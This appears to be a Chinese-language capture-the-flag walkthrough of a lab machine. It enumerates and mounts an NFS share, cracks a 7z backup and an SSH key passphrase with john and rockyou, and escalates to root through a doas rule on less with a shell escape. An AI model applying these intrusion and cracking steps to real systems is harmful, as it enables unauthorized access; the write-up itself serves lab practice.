@
端口扫描

NFS服务渗透
NFS:Network File Share(网络共享文件模式)。
使用showmount工具查看靶机是否有共享文件夹:
showmount -e 192.168.30.137

-e表示exports,即靶机向外共享的到处列表,可以看到共享目录是/home/user/storage(这样也表明靶机很可能有一个名为user的用户),同时(everyone)表明任何人都可使用此共享目录。
因此我们可以创建一个目录tmp,尝试能否将这个共享的目录/home/user/storage映射到我们创建的目录:
mkdir tmp
mount -t nfs /home/user/storage tmp/
ls -liah tmp
cp tmp/backup.7z ./
# 然后负责到工作目录避免在挂载目录处理留下痕迹
解压文件
#看文件类型,是否绑定信息
file backup.7z
bindwalk backup.7z
# 解压
7z x backup.7z
解压需要密码。

密码错误也会暴漏文件内容。
很明显存在ssh私钥和公钥。

暴力破解解压
生成这个压缩包的hash。
7z2john backup.7z > backup7z_hash
使用john暴力破解。
john --format=7z --wordlist=/usr/share/wordlists/rockyou.txt backup7z_hash

密码为chocolate。
解压文件。


hello kitty。使用file、bindwalk、exiftool、srings看了图片类型、绑定信息、隐写并无信息。
直接来到ssh私钥。
SSH私钥破解
拿私钥登录ssh。
ssh -i id_rsa user@192.168.30.137

果然需要passphrase密码通。
生成私钥hash文件。
ssh2john id_rsa > id_rsa_hash
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash

登录ssh。

提权
sudo -l没有发现sudo,可以想到应该用了平替。其实根据信息收集,操作系统就是OpenBSD,知识系统比较少见,没有想到doas。
-
doas是一个轻量级的sudo替代品,最初由 OpenBSD 开发。它的设计理念是“简单”。 -
pkexec是 PolicyKit(现在的 Polkit)框架的一部分。它的核心思想是基于策略而非用户列表来管理权限。 -
runc通常用于容器化环境,但其核心思想是提供隔离和最小权限。虽然它不是sudo的直接替代品,但在某些需要安全执行特定命令的场景下,可以利用容器技术来达到类似目的。
看一下suid权限文件。
find /* -perm -u=s -type f 2>/dev/null

关注doas。
find /* -name *doas* -type f 2>/dev/null

看一下配置文件。
fourandsix2$ cat /etc/doas.conf
permit nopass keepenv user as root cmd /usr/bin/less args /var/log/authlog
permit nopass keepenv root as root
user用户可以无密码使用root权限运行less命令 查看/var/log/authlog日志。
root权限运行less命令中按v可以进入root权限的vi模式,按:输入!sh可以拿到root权限shell。
doas /usr/bin/less /var/log/authlog


